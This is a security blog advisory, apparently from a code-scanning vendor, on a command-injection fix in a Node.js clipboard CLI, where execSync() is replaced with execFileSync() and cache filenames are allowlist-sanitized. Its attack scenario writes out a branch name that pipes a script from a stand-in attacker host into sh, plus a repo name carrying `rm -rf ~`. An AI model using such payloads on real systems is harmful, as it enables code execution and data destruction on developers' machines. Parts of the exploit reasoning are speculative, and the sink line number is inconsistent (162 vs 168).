Back to Blog
critical SEVERITY6 min read

How command injection via execSync() happens in Node.js CLI tools and how to fix it

A critical command injection vulnerability was discovered in `packages/core/bin/cli.js` where the `copyToClipboard` function used `execSync()` with shell command strings. Combined with insufficient filename sanitization in the cache functions, an attacker could inject arbitrary shell commands through malicious repository data containing shell metacharacters. The fix replaces `execSync()` with `execFileSync()` and tightens input sanitization on cache file paths.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published July 28, 2026•Reviewed July 28, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in a Node.js CLI tool where `execSync()` invokes shell commands like `xclip -selection clipboard` as a string, allowing shell metacharacter injection. The fix replaces `execSync()` with `execFileSync()`, which bypasses the shell entirely by passing the command and arguments as separate array elements, and also sanitizes cache filenames with a strict allowlist regex `[^a-zA-Z0-9._-]`.

Vulnerability at a Glance

cweCWE-78
fixReplace execSync() with execFileSync() and sanitize cache file path components with allowlist regex
riskArbitrary command execution on developer machines using this CLI tool
languageJavaScript (Node.js)
root causeUsing execSync() with shell string interpolation instead of execFileSync() with argument arrays
vulnerabilityOS Command Injection via execSync()

How Command Injection via execSync() Happens in Node.js CLI Tools and How to Fix It

Introduction

The packages/core/bin/cli.js file implements a CLI tool that generates ASCII tree representations of GitHub repositories and copies them to the system clipboard. A critical flaw in the copyToClipboard function at line 162 created a command injection vector: it used Node.js's execSync() to invoke clipboard utilities (pbcopy, clip, xclip) through a shell. Combined with lax filename sanitization in the getCache and saveCache functions, an attacker who could influence repository data—such as crafting malicious file or folder names with shell metacharacters—could execute arbitrary commands on any developer's machine running this tool.

This vulnerability is particularly dangerous because the package is a Node.js library consumed by downstream developers. Every user who runs this CLI and copies output to their clipboard is exposed.

The Vulnerability Explained

Let's look at the vulnerable code:

function copyToClipboard(text) {
    // Zero-dependency clipboard logic
    if (process.platform === 'darwin') {
        execSync('pbcopy', { input: text });
    } else if (process.platform === 'win32') {
        execSync('clip', { input: text });
    } else {
        execSync('xclip -selection clipboard', { input: text });
    }
}

The core issue is that execSync() spawns a shell (/bin/sh -c "..." on Unix, cmd.exe /c "..." on Windows) to interpret the command string. While the text content is passed via the input option (stdin), the command string 'xclip -selection clipboard' is parsed by the shell.

Now consider the cache functions:

function getCache(repo, branch) {
    const file = path.join(cacheDir, `${repo.replace(/\//g, '_')}_${branch}.json`);
    // ...
}

The original sanitization only replaced forward slashes (/) with underscores. A malicious repository name like user/repo; rm -rf ~ or a branch name containing backticks would pass through with shell metacharacters intact. If these values ever flow into a shell context or influence the ASCII tree output that gets copied, command injection becomes possible.

Attack Scenario

  1. An attacker creates a GitHub repository with a branch named `curl attacker.com/shell.sh|sh`
  2. A developer uses this CLI tool to generate a tree of that repository
  3. The ASCII tree output includes the malicious branch name
  4. When copyToClipboard is called, if any part of the pipeline involves shell interpretation of that data, the injected command executes
  5. The attacker's payload runs with the developer's full user privileges

Even in the simpler case, the xclip -selection clipboard string being passed through a shell is unnecessary attack surface. If the PATH environment variable is manipulated or if there's any way to influence which binary xclip resolves to in a shell context, exploitation becomes trivial.

The Fix

The fix addresses both the shell injection vector and the path traversal/injection risk in cache filenames:

Change 1: Replace execSync with execFileSync

Before:

import { execSync } from 'child_process';

// ...

function copyToClipboard(text) {
    if (process.platform === 'darwin') {
        execSync('pbcopy', { input: text });
    } else if (process.platform === 'win32') {
        execSync('clip', { input: text });
    } else {
        execSync('xclip -selection clipboard', { input: text });
    }
}

After:

import { execFileSync } from 'child_process';

// ...

function copyToClipboard(text) {
    // Zero-dependency clipboard logic (use execFileSync to avoid shell injection)
    if (process.platform === 'darwin') {
        execFileSync('pbcopy', [], { input: text });
    } else if (process.platform === 'win32') {
        execFileSync('clip', [], { input: text });
    } else {
        execFileSync('xclip', ['-selection', 'clipboard'], { input: text });
    }
}

execFileSync does not spawn a shell. It executes the binary directly, passing arguments as an array. The -selection and clipboard arguments are passed as separate array elements, so shell metacharacters in any surrounding context are never interpreted. There's no shell to exploit.

Change 2: Strict allowlist sanitization for cache filenames

Before:

const file = path.join(cacheDir, `${repo.replace(/\//g, '_')}_${branch}.json`);

After:

const file = path.join(cacheDir, `${repo.replace(/[^a-zA-Z0-9._-]/g, '_')}_${branch.replace(/[^a-zA-Z0-9._-]/g, '_')}.json`);

Instead of only replacing /, the fix uses an allowlist regex that strips everything except alphanumeric characters, dots, hyphens, and underscores. This eliminates shell metacharacters (;, `, $, |, (, ), etc.) from ever reaching the filesystem or downstream processing. The same sanitization is applied to both repo and branch parameters.

Prevention & Best Practices

  1. Never use execSync() or exec() in Node.js when you can use execFileSync() or spawn(). The shell-free alternatives eliminate an entire class of injection attacks.

  2. Use allowlist validation for user-influenced strings. The pattern /[^a-zA-Z0-9._-]/g is a safe default for filenames—strip anything that isn't known-safe rather than trying to blocklist dangerous characters.

  3. Apply defense in depth. Even though input passes data via stdin (not the command string), removing the shell eliminates the attack surface entirely. Don't rely on a single layer.

  4. Audit all child_process usage. Run a simple grep: grep -rn "execSync\|exec(" --include="*.js" to find all shell-spawning calls in your codebase.

  5. Use ESLint security plugins. The eslint-plugin-security package flags child_process calls that use shell strings.

  6. Consider the supply chain. This is a library—every downstream consumer inherits its vulnerabilities. Library authors bear extra responsibility for secure defaults.

Key Takeaways

  • execSync('xclip -selection clipboard') spawns a shell that can interpret metacharacters—even when data is passed via input, the shell invocation itself is unnecessary attack surface that execFileSync('xclip', ['-selection', 'clipboard']) eliminates entirely.
  • Replacing only / in repository names (repo.replace(/\//g, '_')) leaves shell metacharacters like ;, `, $, and | intact—an allowlist regex is the only safe approach for constructing filesystem paths from external data.
  • Node.js CLI tools that process GitHub repository metadata must treat repo names and branch names as untrusted input—attackers can craft these to contain arbitrary characters.
  • The child_process module's API design makes insecure usage the path of least resistance—execSync is simpler to write than execFileSync with argument arrays, so teams should lint for it proactively.
  • Both the clipboard function AND the cache functions needed fixing—command injection often requires closing multiple gaps, not just patching the obvious sink.

How Orbis AppSec Detected This

  • Source: Repository and branch name data from GitHub API responses, flowing through getCache(), saveCache(), and ultimately into the ASCII tree output passed to copyToClipboard()
  • Sink: execSync('xclip -selection clipboard', { input: text }) in packages/core/bin/cli.js:168
  • Missing control: No shell avoidance (execFileSync) and no allowlist sanitization on repository/branch names used in cache paths and clipboard content
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced execSync() with execFileSync() to bypass the shell entirely, and applied strict allowlist regex sanitization to cache filename components

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability demonstrates how a seemingly simple clipboard utility function can become a critical attack vector. The combination of execSync() with shell strings and insufficient input sanitization created a path from attacker-controlled GitHub repository metadata to arbitrary command execution on developer machines. The fix is straightforward—use execFileSync() with argument arrays and validate inputs with allowlist regexes—but the lesson is broader: every child_process call in a Node.js application should be treated as a potential injection point and audited accordingly.

If you maintain a Node.js CLI tool or library, audit your child_process usage today. Replace execSync and exec with their shell-free counterparts wherever possible. Your users' machines depend on it.

References

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #24

Related Articles

critical

webapp-testing Server Script: Shell Injection via Unquoted Command

A critical command injection vulnerability in a web server testing utility allowed attackers to execute arbitrary shell commands by injecting metacharacters into command-line arguments. The fix removes shell interpretation and safely tokenizes user-supplied commands using `shlex.split()`, while preserving support for legitimate directory-change workflows.

high

THiNX Device Platform: Command Injection via source.owner in Git Fetch

The THiNX device management platform fixed a critical vulnerability where the `source.owner` parameter flowed directly into shell commands during git repository operations. An attacker with source configuration access could inject arbitrary shell commands by providing malicious owner values containing metacharacters like `; curl`.

critical

backtest.js CLI args: Unvalidated --days and --start Options

The backtest.js command-line tool accepted --days and --start arguments without validation, creating a command injection vector when the script is invoked by upstream processes with untrusted input. The fix adds strict input validation: --days must be a positive integer ≤ 3650, and --start must match the YYYY-MM-DD date format.

critical

Tauri type_text() Command Injection via Control Characters in

The type_text() system command handler in Tauri accepted arbitrary text up to 2000 UTF-16 characters without validating content, allowing injection of control characters that SendInput's Unicode path interprets as real key presses. An attacker could inject newline, escape, or tab characters to trigger actions in the focused window beyond mere text typing.

high

runStreaming() Command Injection: Defense-in-Depth for Electron Child

An Electron application's `runStreaming()` utility accepted a command string and argument array without validating either, creating a latent command injection vector. The fix adds strict type checking and a whitelist regex that rejects shell metacharacters, bounding the failure mode even if caller input becomes attacker-influenced.

critical

docker_rpc.uc Command Injection: Unsanitized RPC Parameters

A critical command injection vulnerability in the Docker RPC handler allowed authenticated attackers to execute arbitrary system commands by injecting shell metacharacters into container ID, port, user ID, or command parameters. The fix validates all user-supplied inputs against strict whitelist patterns before interpolating them into shell commands.